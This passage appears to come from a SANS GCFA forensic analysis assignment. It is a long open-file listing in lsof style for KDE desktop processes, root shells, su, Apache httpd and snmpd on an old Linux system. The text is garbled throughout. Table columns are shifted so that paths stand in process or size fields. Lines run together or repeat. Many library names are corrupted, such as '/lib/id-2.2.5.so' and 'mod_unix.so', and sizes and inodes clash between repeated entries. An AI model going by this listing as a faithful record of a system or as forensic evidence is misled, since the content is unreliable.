kwrapperr 1208 userid1 8w FIFO 0,5 2260 pipe
kwrapperr 1208 userid1 9r FIFO 0,5 2262 pipe
kwrapperr 1208 userid1 10w FIFO 0,5 2262 pipe
kwrapperr 1208 userid1 11r FIFO 0,5 2265 pipe
kwrapperr 1208 userid1 12w FIFO 0,5 2265 pipe
kwrapperr 1208 userid1 13u unix 0xc21bd5e0 2310 socket
kwrapperr 1208 userid1 ced DIR 3,3 4096 32321 /home/userid1
kwrapperr 1208 userid1 txt REG 3,5 1024 2 /
```plaintext
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Attributes</th>
<th>Size</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>488575</td>
<td>/usr/lib/kwin-gcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>173680</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>136415</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/loccommon/ximcp.so.2</td>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>6996</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>69421</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>kdeinit</td>
<td>userid1</td>
<td>REG 3,2</td>
<td>42808</td>
</tr>
</tbody>
</table>
```

```
kdeinit 1217 userid1 mem REG 3,2 575687 65982 /usr/lib/libkong-gcc2.96.so.4.0.0
kdeinit 1217 userid1 mem REG 3,2 932895 65934 /usr/lib/kicker-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdeinit 1217 userid1 mem REG 3,2 83 130315 /usr/lib/locale/en_US.iso885915/LC_NAME
kdeinit 1217 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 1217 userid1 mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 1217 userid1 mem REG 3,2 10902 16965 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 1217 userid1 mem REG 3,2 136415 16964 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 1217 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 1217 userid1 mem REG 3,2 83610 294695 /usr/lib/kde3/minipager_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 29535 294715 /usr/lib/kde3/taskbar_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 51787 294691 /usr/lib/kde3/lockout_panelapplet-gcc2.96.so
kdeinit 1217 userid1 mem REG 3,2 49642 294711 /usr/lib/kde3/systemtray_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 197376 294364 /usr/lib/kde3/clock_panelapplet-gcc2.96.so.1.0.0
kdeinit 1217 userid1 mem REG 3,2 42808 16969 /usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
kdeinit 1217 userid1 mem REG 3,2 45415 63523 /lib/libnss_files-2.2.5.so
kdeinit 1217 userid1 mem REG 3,2 1401027 73730 /lib/ld-2.2.5.so
kdeinit 1217 userid1 0r CHR 1,3 9637 /dev/null
```

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>PID</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>22592</td>
<td>130323</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>173680</td>
<td>130324</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>136415</td>
<td>16964</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>6996</td>
<td>114215 /usr/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>42808</td>
<td>16969</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>14215</td>
<td>16969</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>59778</td>
<td>65358</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>874476</td>
<td>16985</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>45415</td>
<td>32328 /home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>42808</td>
<td>16969</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1228</td>
<td>1401027</td>
<td>73730 /lib/locale.en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>20666</td>
<td>114263 /usr/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>171</td>
<td>130311</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>329</td>
<td>130311</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>65</td>
<td>130316</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>161</td>
<td>130310</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>83</td>
<td>130314</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>29</td>
<td>130312</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>179360</td>
<td>130313</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>292</td>
<td>130313</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>60</td>
<td>130322</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xlcDef.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>10902</td>
<td>16956</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>11174</td>
<td>63541 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>44700</td>
<td>65791 /lib/libkdeui-gcc2.96.so.so.0.0.0</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>59778</td>
<td>65358 /usr/lib/locale.en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>874476</td>
<td>16985 /usr/lib/locale.en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_Messages</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>292</td>
<td>130313</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>179360</td>
<td>130313</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_Messages</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>60</td>
<td>130322</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_Messages</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>10902</td>
<td>16956</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/xlcDef.so.2</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>11174</td>
<td>63541 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>131560</td>
<td>65396 /usr/lib/libpng.so.0.21.0.12</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>59778</td>
<td>65358 /usr/lib/libx11.so.1.1.3</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>874476</td>
<td>16985 /usr/X11R6/lib/libX11.so.6.2</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>31520</td>
<td>16983 /usr/X11R6/lib/libSM.so.so.0.0.0</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>81380</td>
<td>16979 /usr/X11R6/lib/libICE.so.so.6.3</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>101902</td>
<td>73734 /lib/libpthread.so.so.0.0</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>12102</td>
<td>63503 /lib/libdl.so.so.0.2</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>52300</td>
<td>16993 /usr/X11R6/lib/libXext.so.so.6.4</td>
</tr>
<tr>
<td>kalarmd</td>
<td>userid1</td>
<td>mem</td>
<td>1230</td>
<td>68925</td>
<td>63535 /lib/libthread.so.so.0.2</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4
```
Kevin Miller - Sans GCFA Assignment – v1.4 Page 129

kdeinit 1232 userid1 mem REG 3,2 4264422 65304 /usr/lib/libstdc++-3-libc6.2-2-2.10.0.so
kdeinit 1232 userid1 mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
kdeinit 1232 userid1 mem REG 3,5 173359 73732 /lib/libcups.so.2
kdeinit 1232 userid1 mem REG 3,2 290306 65392 /usr/lib/libmng.so.1.0.0
kdeinit 1232 userid1 mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
kdeinit 1232 userid1 mem REG 3,2 90976 63563 /lib/libtermcap.so.2.0.8
kdeinit 1232 userid1 mem REG 3,2 136415 65949 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 575687 65982 /usr/lib/libkonq-gcc2.96.so.4.0.0
kdeinit 1232 userid1 mem REG 3,2 245459 65959 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 396236 65995 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6
kdeinit 1232 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 173380 73730 /lib/i686/libm-2.2.5.so
kdeinit 1232 userid1 mem REG 3,2 110194 65399 /usr/lib/libcups.so.2
kdeinit 1232 userid1 mem REG 3,2 290306 65392 /usr/lib/libmng.so.1.0.0
kdeinit 1232 userid1 mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
kdeinit 1232 userid1 mem REG 3,2 90976 63563 /lib/libtermcap.so.2.0.8
kdeinit 1232 userid1 mem REG 3,2 136415 65949 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 575687 65982 /usr/lib/libkonq-gcc2.96.so.4.0.0
kdeinit 1232 userid1 mem REG 3,2 245459 65959 /lib/libcrypto.so.0.9.6b
kdeinit 1232 userid1 mem REG 3,2 396236 65995 /lib/libcrypto.so.0.9.6b
```

bash 1269 root mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 1269 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
bash 1269 root 0u CHR 136,1 3 /dev/pts/1
bash 1269 root 1u CHR 136,1 3 /dev/pts/1
bash 1269 root 2u CHR 136,1 3 /dev/pts/1
kdeinit 6133 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 6133 userid1 rtd DIR 3,5 1024 2 /
kdeinit 6133 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 6133 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdeinit 6133 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 6133 userid1 mem REG 3,2 20666 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
kdeinit 6133 userid1 mem REG 3,2 371 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 6133 userid1 mem REG 3,2 29 130314 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 6133 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 6133 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGEs/SYS_LC_MESSAGEs
kdeinit 6133 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 6133 userid1 mem REG 3,2 60 130322 /usr/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 6133 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3
kdeinit 6133 userid1 mem REG 3,2 173559 73732 /lib/i686/libm-2.2.5.so
kdeinit 6133 userid1 mem REG 3,5 11714 65393 /lib/libpng.so.2.1.0.12
kdeinit 6133 userid1 mem REG 3,2 59778 65358 /lib/libso.1.1.3
kdeinit 6133 userid1 mem REG 3,2 874476 16985 /lib/libX11.so.6.2
kdeinit 6133 userid1 mem REG 3,2 31520 16983 /lib/libX11.so.6.0.0
kdeinit 6133 userid1 mem REG 3,2 81980 16977 /lib/libICE.so.6.3
kdeinit 6133 userid1 mem REG 3,5 101902 73734 /lib/libpthread.so.0.9.96
kdeinit 6133 userid1 mem REG 3,5 12102 63503 /lib/libstdc++.so.4.2.10.0
kdeinit 6133 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
kdeinit 6133 userid1 mem REG 3,5 11714 65393 /lib/libutil-2.2.5.so
kdeinit 6133 userid1 mem REG 3,5 173559 73732 /lib/i686/libm-2.2.5.so
kdeinit 6133 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
kdeinit 6133 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
kdeinit 6133 userid1 mem REG 3,2 42808 16969
/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
kdeinit 6133 userid1 mem REG 3,5 45415 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 mem REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 mem REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
kdeinit 6133 userid1 0r CHR 1,3 9637 /dev/null
kdeinit 6133 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
kdeinit 6133 userid1 3u unix 0xc2e450c0 280004 /tmp/ks_socket-userid1/kdeinit
kdeinit 6133 userid1 4u unix 0xc4fb90e0 280008 /lib/libnss_files-2.2.5.so
kdeinit 6133 userid1 5r FIFO 0,5 280010 /lib/libpthread-0.9.so
kdeinit 6133 userid1 6w FIFO 0,5 280010 /lib/libnss_files-2.2.5.so
kdeinit 6133 userid1 7u unix 0xc4fb9ae0 280011 /tmp/ks_socket-userid1
kdeinit 6133 userid1 8r FIFO 0,5 280014 /tmp/ks_socket-userid1
kdeinit 6133 userid1 9w FIFO 0,5 280014 /tmp/ks_socket-userid1
kdesud 6135 root cwd DIR 3,3 4096 32321 /home/userid1
kdesud 6135 root rtd DIR 3,5 1024 2 /
kdesud 6135 root txt REG 3,2 57092 33561 /usr/bin/kdesud
kdesud 6135 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
kdesud 6135 root mem REG 3,2 133032 65706 /usr/lib/libkdesu-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 1962973 65672 /usr/lib/libkdecore-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdesud 6135 root mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3
kdesud 6135 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
kdesud 6135 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
kdesud 6135 root mem REG 3,2 87447 65706 /usr/lib/libX11.so.6.2
kdesud 6135 root mem REG 3,2 31520 16983 /usr/X11R6/lib/libSM.so.6.0
kdesud 6135 root mem REG 3,2 81980 16979 /usr/X11R6/lib/libICE.so.6.3
kdesud 6135 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
kdesud 6135 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
kdesud 6135 root mem REG 3,2 52300 16993 /usr/X11R6/lib/libXext.so.6.4
kdesud 6135 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3.2.10.0.so
kdesud 6135 root mem REG 3,2 68925 65355 /lib/libresolv-2.2.5.so
kdesud 6135 root mem REG 3,2 173359 73732 /lib/i686/libm-2.2.5.so
kdesud 6135 root mem REG 3,2 110194 65399 /lib/libcups.so.2
kdesud 6135 root mem REG 3,2 290306 65392 /lib/libmng.so.1.0.0
kdesud 6135 root mem REG 3,2 90976 16993 /usr/X11R6/lib/libXtst.so.6.1
kdesud 6135 root mem REG 3,2 644430 65392 /usr/lib/libmng.so.1.0.0
kdesud 6135 root mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
kdesud 6135 root mem REG 3,2 90976 16993 /usr/X11R6/lib/libXtst.so.6.1
kdesud 6135 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
kdesud 6135 root mem REG 3,2 371 130311
kdesud 6135 root mem REG 3,2 29 130312
kdesud 6135 root mem REG 3,2 65 130316
kdesud 6135 root mem REG 3,2 161 130310
kdesud 6135 root mem REG 3,2 11174 65341 /lib/libutil-2.2.5.so
bash 7170 userid1 rtd DIR 3,5 1024 2 /bash 7170 userid1 txt REG 3,5 541096 40973 /bin/bashbash 7170 userid1 mem REG 3,5 89547 63490 /lib/ld-2.2.5.so/bash 7170 userid1 mem REG 3,2 371 130311
/usr/lib/locale/en_US.iso885915/LC_ IDENTIFICATIONbash 7170 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cachebash 7170 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_ MEASUREMENTbash 7170 userid1 mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_ TELEPHONEbash 7170 userid1 mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ ADDRESSbash 7170 userid1 mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_ NAMEbash 7170 userid1 mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_ PAPERbash 7170 userid1 mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_ MESSAGES/SYS_LC_ MESSAGESbash 7170 userid1 mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_ NUMERICALbash 7170 userid1 mem REG 3,2 2457 130317
/usr/lib/locale/en_US.iso885915/LC_ TIMEbash 7170 userid1 mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_ COLLATEbash 7170 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_ CTYPESbash 7170 userid1 mem REG 3,5 45415 63523 /libnss_files-2.2.5.sobash 7170 userid1 mem REG 3,5 46117 63531 /libnss_nisplus-2.2.5.so
bash 7170 userid1 mem REG 3,5 89424 63503 /lib/libdl-2.2.5.so
bash 7170 userid1 mem REG 3,2 130323
/bash 7170 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_ COLLATEbash 7170 userid1 mem REG 3,2 1401027 73730
/usr/lib/locale/en_US.iso885915/LC_ CTYPEbash 7170 userid1 mem REG 3,5 43050 /lib/security/pam_rootok.so
bash 7170 userid1 mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
bash 7170 userid1 mem REG 3,5 12015 63568 /lib/libpam_misc.so.0.75
bash 7170 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_ COLLATE
su 7203 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
su 7203 root mem REG 3,5 12471 43053 /lib/security/pam_stack.so
su 7203 root mem REG 3,5 13783 43065 /lib/security/pam_xauth.so
su 7203 root mem REG 3,5 4910 43033 /lib/security/pam_deny.so
su 7203 root mem REG 3,5 12989 43034 /lib/security/pam_env.so
su 7203 root mem REG 3,5 14617 43040 /lib/security/pam_limits.so
su 7203 root mem REG 3,5 45415 63523 /lib/mods_files-2.2.5.so
su 7203 root mem REG 3,5 46117 63531 /lib/mods_nisplus-2.2.5.so
su 7203 root mem REG 3,5 89424 63507 /lib/mods-2.2.5.so
su 7203 root mem REG 3,5 50425 43057 /lib/security/mod_unix.so
su 7203 root mem REG 3,5 14540 43032 /lib/security/mod_cracklib.so
su 7203 root mem REG 3,2 71016 65265 /usr/lib/libcrack.so.2.0.8
su 7203 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
su 7203 root 0u CHR 136,2 4 /dev/pts/2
su 7203 root 1u CHR 136,2 4 /dev/pts/2
su 7203 root 2u CHR 136,2 4 /dev/pts/2
bash 7206 root cwd DIR 22,0 2048 49152 /mnt/cdrom
bash 7206 root rtd DIR 3,5 1024 2 /bash
bash 7206 root txt REG 3,5 541096 40973 /bin/bash
bash 7206 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
bash 7206 root REG 3,2 26666 142635 /usr/lib/compat-modules.cache
bash 7206 root mem REG 3,5 118332 63560 /lib/terminfo.so.2.0.8
bash 7206 root mem REG 3,5 12102 63503 /lib/libid-2.2.5.so
bash 7206 root mem REG 3,5 45415 63523 /lib/mods_files-2.2.5.so
bash 7206 root mem REG 3,5 46117 63531 /lib/mods_nisplus-2.2.5.so
bash 7206 root mem REG 3,5 89424 63507 /lib/mods-2.2.5.so
bash 7206 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 7206 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
bash 7206 root 0u CHR 136,2 4 /dev/pts/2
bash 7206 root 1u CHR 136,2 4 /dev/pts/2
bash 7206 root 2u CHR 136,2 4 /dev/pts/2
httpd 8125 root cwd DIR 3,5 1024 2 /
httpd 8125 root rtd DIR 3,5 1024 2 /
httpd 8125 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 8125 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
httpd 8125 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_mod.so
httpd 8125 root mem REG 3,2 176330 229514 /usr/lib/apache/mod_log_config.so
httpd 8125 root mem REG 3,2 7430 229513 /usr/lib/apache/mod_log_agent.so
httpd 8125 root mem REG 3,2 8530 229515 /usr/lib/apache/mod_log_referer.so
httpd 8125 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 8125 root mem REG 3,2 471 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 8125 root mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
httpd 8125 root mem REG 3,5 173359 73732 /lib/i686/libm-2.2.5.so
httpd 8125 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
httpd 8125 root mem REG 3,2 30282 65273 /usr/lib/libgdbm.so.2.0.0
httpd 8125 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 8125 root mem REG 3,2 19662 66292 /lib/libm.so.11.0.23
httpd 8125 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 8125 root mem REG 3,5 12102 63503 /lib/libid-2.2.5.so
httpd 8125 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 8125 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 8125 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 8125 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 8125 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 8125 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 8125 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 8125 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 8125 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 8125 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 8125 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 8125 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 8125 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 8125 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 8125 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 8125 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 8125 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 8125 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 8125 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 8125 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 8125 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 8125 root mem REG 3,2 8621 440043 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 8125 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 8125 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 8125 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 8125 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 8125 root mem REG 3,2 92407 440046 /usr/lib/ap...
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 8125 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 8125 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 8125 root 16u IPv4 361623 TCP :https (LISTEN)
httpd 8125 root 17u IPv4 361624 TCP :http (LISTEN)
httpd 8125 root 19w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 8125 root 19w REG 3,6 0 44198 /var/log/httpd/nsl_request_log
snmpd 8154 root cwd DIR 3,5 1024 2
snmpd 8154 root rtd DIR 3,5 1024 2
snmpd 8154 root txt REG 3,2 46722 131697 /usr/sbin/snmpd
snmpd 8154 root mem REG 3,5 89547 63490 /lib/ld.so.1.2.5.so
snmpd 8154 root mem REG 3,5 206666 114263 /usr/lib/gconv/gconv-modules.cache
snmpd 8154 root mem REG 3,5 59639 66254 /usr/lib/libucdagent.so.0.4.2
snmpd 8154 root mem REG 3,5 447257 66256 /usr/lib/libucdmibs.so.0.4.2
snmpd 8154 root mem REG 3,5 89424 63507 /lib/libssl-2.2.5.so
snmpd 8154 root mem REG 3,5 368596 66252 /usr/lib/libssl.so.0.4.2
snmpd 8154 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
snmpd 8154 root mem REG 3,5 12102 63503 /lib/libssl-2.2.5.so
